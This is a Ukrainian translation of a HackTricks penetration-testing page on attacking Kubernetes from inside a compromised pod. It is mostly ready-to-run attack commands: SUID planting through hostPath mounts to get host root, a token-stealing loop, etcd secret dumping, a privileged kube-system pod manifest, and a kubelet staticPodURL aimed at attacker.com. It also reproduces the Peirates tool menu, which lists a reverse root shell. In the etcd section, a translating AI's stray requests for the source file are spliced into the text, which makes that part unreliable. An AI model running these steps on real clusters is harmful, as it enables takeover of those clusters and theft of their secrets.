Атака на Kubernetes зсередини Pod
Reading time: 17 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Pod Breakout
Якщо пощастить, ви можете втекти з нього на node:

Втеча з pod
Щоб спробувати втекти з pods, можливо, спочатку потрібно escalate privileges — деякі техніки для цього:
Linux Privilege Escalation - HackTricks
Ви можете перевірити ці docker breakouts to try to escape з pod, який ви скомпрометували:
Docker Breakout / Privilege Escalation - HackTricks
Зловживання writable hostPath/bind mounts (container -> host root via SUID planting)
Якщо скомпрометований pod/container має writable volume, який відображається безпосередньо на host filesystem (Kubernetes hostPath або Docker bind mount), і ви можете стати root всередині container, ви можете використати mount, щоб створити бінарний файл setuid-root на host і потім виконати його з host для отримання root.
Ключові умови:
- Монтуваний том доступний для запису зсередини container (readOnly: false та filesystem permissions дозволяють запис).
- Файлова система host, що лежить за mount, не змонтована з опцією nosuid.
- У вас є спосіб виконати planted binary на host (наприклад, окремий SSH/RCE на host, користувач на host може його виконати, або інший вектор, що запускає бінарники з цього шляху).
Як ідентифікувати writable hostPath/bind mounts:
- За допомогою kubectl перевірте hostPath volumes: kubectl get pod
-o jsonpath='{.spec.volumes[*].hostPath.path}' - Зсередини container виведіть mounts і шукайте host-path mounts та тестуйте доступність для запису:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
Встановити setuid root binary з контейнера:
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
Виконайте на хості, щоб отримати root:
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
Примітки та усунення неполадок:
- Якщо точка монтування хоста має nosuid, setuid біти будуть ігноруватися. Перевірте опції монтування на хості (cat /proc/mounts | grep
) і шукайте nosuid. - Якщо ви не можете отримати host execution path, аналогічні writable mounts можна зловживати, щоб записати інші persistence/priv-esc артефакти на хості, якщо відображена директорія критична для безпеки (наприклад, додати root SSH key якщо mount відображає /root/.ssh, покласти cron/systemd unit якщо відображає /etc, замінити бінарник, що належить root у PATH і який хост буде виконувати, тощо). Реалістичність повністю залежить від того, який шлях змонтовано.
- Ця техніка також працює з plain Docker bind mounts; у Kubernetes це зазвичай hostPath volume (readOnly: false) або неправильно scoped subPath.
Зловживання привілеями Kubernetes
Як пояснено в розділі про kubernetes enumeration:
Зазвичай pods запускаються з service account token всередині них. Цей service account може мати деякі privileges attached to it, які ви можете abuse, щоб move до інших pods або навіть escape на ноди, налаштовані всередині кластера. Див. як у:
Abusing Roles/ClusterRoles in Kubernetes
Зловживання привілеями в Cloud
Якщо pod запущено в cloud environment, ви можете змогти leak a token from the metadata endpoint і ескалювати привілеї, використовуючи його.
Пошук вразливих мережевих сервісів
Оскільки ви перебуваєте всередині Kubernetes environment, якщо не вдається ескалювати привілеї, зловживаючи привілеями поточних pods, і ви не можете escape з контейнера, слід шукати потенційно вразливі сервіси.
Services
Для цього ви можете спробувати отримати всі сервіси kubernetes environment:
kubectl get svc --all-namespaces
За замовчуванням Kubernetes використовує плоску схему мережі, що означає any pod/service within the cluster can talk to other. The namespaces within the cluster don't have any network security restrictions by default. Будь-хто в namespace може спілкуватися з іншими namespaces.
Scanning
Наступний Bash скрипт (взятий з Kubernetes workshop) встановить та просканує IP-діапазони kubernetes cluster:
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
Перегляньте наступну сторінку, щоб дізнатися, як ви можете attack Kubernetes specific services і compromise other pods/all the environment:
Pentesting Kubernetes Services
Sniffing
У випадку, якщо compromised pod is running some sensitive service, де інші pods повинні аутентифікуватися, ви можете отримати облікові дані, що надсилаються іншими pods, шляхом sniffing local communications.
Network Spoofing
За замовчуванням техніки на кшталт ARP spoofing (і завдяки цьому DNS Spoofing) працюють у Kubernetes network. Всередині pod, якщо у вас є NET_RAW capability (яка є за замовчуванням), ви зможете відправляти кастомні мережеві пакети та виконувати MitM attacks via ARP Spoofing to all the pods running in the same node.
Більше того, якщо malicious pod запущено на same node as the DNS Server, ви зможете виконати DNS Spoofing attack to all the pods in cluster.
Node DoS
У Kubernetes manifests відсутня специфікація ресурсів і not applied limit ranges для контейнерів. Як нападник, ми можемо consume all the resources where the pod/deployment running і виснажити інші ресурси, спричинивши DoS для середовища.
This can be done with a tool such as stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Ви можете побачити різницю під час виконання stress-ng та після нього.
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
Node Post-Exploitation
If you managed to escape from the container there are some interesting things you will find in the node:
- Процес Container Runtime (Docker)
- Більше pods/containers, що працюють на вузлі і які можна зловживати, як цей (більше токенів)
- Увесь filesystem та OS загалом
- Сервіс Kube-Proxy, що слухає
- Сервіс Kubelet, що слухає. Перевірте конфігураційні файли:
- Directory:
/var/lib/kubelet/ /var/lib/kubelet/kubeconfig/var/lib/kubelet/kubelet.conf/var/lib/kubelet/config.yaml/var/lib/kubelet/kubeadm-flags.env/etc/kubernetes/kubelet-kubeconfig/etc/kubernetes/admin.conf-->kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system- Інші kubernetes common files:
$HOME/.kube/config- User Config/etc/kubernetes/kubelet.conf- Regular Config/etc/kubernetes/bootstrap-kubelet.conf- Bootstrap Config/etc/kubernetes/manifests/etcd.yaml- etcd Configuration/etc/kubernetes/pki- Kubernetes Key
Find node kubeconfig
Якщо ви не можете знайти файл kubeconfig в одному з раніше вказаних шляхів, перевірте аргумент --kubeconfig процесу kubelet:
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
Крадіжка секретів
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
Скрипт can-they.sh автоматично отримує tokens інших pods та перевіряє, чи мають вони потрібний дозвіл, який ви шукаєте (замість того, щоб ви шукали по одному):
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
Privileged DaemonSets
A DaemonSet is a pod that will be run in all the nodes of the cluster. Therefore, if a DaemonSet is configured with a privileged service account, in ALL the nodes you are going to be able to find the token of that privileged service account that you could abuse.
Експлоїт такий самий, як у попередньому розділі, але тепер вам не доведеться покладатися на удачу.
Pivot to Cloud
If the cluster is managed by a cloud service, usually the Node will have a different access to the metadata endpoint than the Pod. Therefore, try to access the metadata endpoint from the node (or from a pod with hostNetwork to True):
Steal etcd
If you can specify the nodeName of the Node that will run the container, get a shell inside a control-plane node and get the etcd database:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane вузли мають роль master, і в керованих у хмарі кластерах ви не зможете нічого запускати в них.
Зчитати секрети з etcd 1
Якщо ви можете запустити свій pod на control-plane вузлі, використовуючи селектор nodeName у pod spec, ви можете легко отримати доступ до бази даних etcd, яка містить всю конфігурацію кластера, включно з усіма секретами.
Нижче наведено швидкий і грубий спосіб витягти секрети з etcd, якщо він запущений на control-plane вузлі, на якому ви перебуваєте. Якщо ви хочете більш елегантне рішення, яке піднімає pod з клієнтською утилітою etcd etcdctl і використовує облікові дані control-plane вузла для підключення до etcd де б він не запускався, перегляньте this example manifest від @mauilion.
Перевірте, чи etcd запущений на control-plane вузлі та де розташована база даних (Це для кластера, створеного kubeadm)
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
I don't have the file content. Please paste the text from src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated.
data-dir=/var/lib/etcd
Переглянути дані в базі даних etcd:
strings /var/lib/etcd/member/snap/db | less
Витягніть токени з бази даних і покажіть ім'я сервісного облікового запису
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Та ж команда, але кілька grep'ів, щоб повернути лише default token у namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
Будь ласка, надайте вміст файлу src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md або вставте текст, який потрібно перекласти. Я перекладу лише релевантний англійський текст українською, зберігаючи всю наявну markdown/html розмітку, шляхи, теги й посилання без змін.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
Читання секретів з etcd 2 from here
- Створіть знімок бази даних
etcd. Check this script for further info. - Виведіть знімок
etcdз вузла будь-яким зручним для вас способом. - Розпакуйте базу даних:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
- Запустіть
etcdна вашій локальній машині та змусьте його використовувати вкрадений snapshot:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
- Перелічте всі секрети:
etcdctl get "" --prefix --keys-only | grep secret
- Отримати secrets:
etcdctl get /registry/secrets/default/my-secret
Збереження статичних/дзеркальних Pods
Static Pods керуються безпосередньо демоном kubelet на конкретному вузлі, без спостереження з боку API server. На відміну від Pods, якими керує control plane (наприклад, a Deployment); натомість kubelet спостерігає за кожним static Pod (і перезапускає його у разі збою).
Отже, static Pods завжди зв'язані з одним Kubelet на конкретному вузлі.
kubelet автоматично намагається створити mirror Pod на Kubernetes API server для кожного static Pod. Це означає, що Pods, які працюють на вузлі, видимі в API server, але не можуть бути керовані звідти. Імена Pod отримають суфікс з hostname вузла з ведучим дефісом.
caution
Поле spec static Pod не може посилатися на інші API-об’єкти (наприклад, ServiceAccount, ConfigMap, Secret тощо). Тому ви не можете зловживати цією поведінкою, щоб запустити pod з довільним serviceAccount на поточному вузлі з метою компрометації кластера. Проте ви можете використати це, щоб запускати pods в інших namespaces (якщо це з якоїсь причини корисно).
Якщо ви маєте доступ до хоста вузла, ви можете змусити його створити static pod всередині себе. Це досить корисно, бо може дозволити вам створити pod в іншому namespace, наприклад kube-system.
Щоб створити static pod, docs are a great help. Загалом вам потрібно 2 речі:
- Налаштувати параметр
--pod-manifest-path=/etc/kubernetes/manifestsу kubelet service, або у kubelet config (staticPodPath) та перезапустити сервіс - Створити визначення pod у файлі
/etc/kubernetes/manifests
Ще один більш прихований спосіб:
- Змініть параметр
staticPodURLу конфігураційному файлі kubelet і вкажіть щось на кшталтstaticPodURL: http://attacker.com:8765/pod.yaml. Це змусить процес kubelet створити static pod, отримуючи конфігурацію з вказаного URL.
Example of pod configuration to create a privilege pod in kube-system taken from here:
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Delete pods + unschedulable nodes
Якщо attacker має compromised a node і він може delete pods з інших nodes та make other nodes not able to execute pods, то pods будуть перезапущені на compromised node і він зможе steal the tokens, що запускаються в них.
Для more info follow this links.
Автоматичні інструменти
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
Джерела
- Forgotten (HTB) - Writable bind mount SUID planting
- Kubernetes hostPath volume
- Docker bind mounts
- Bash -p (preserve privileges)
- mount(8) nosuid option
- Peirates (Kubernetes attack tool)
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud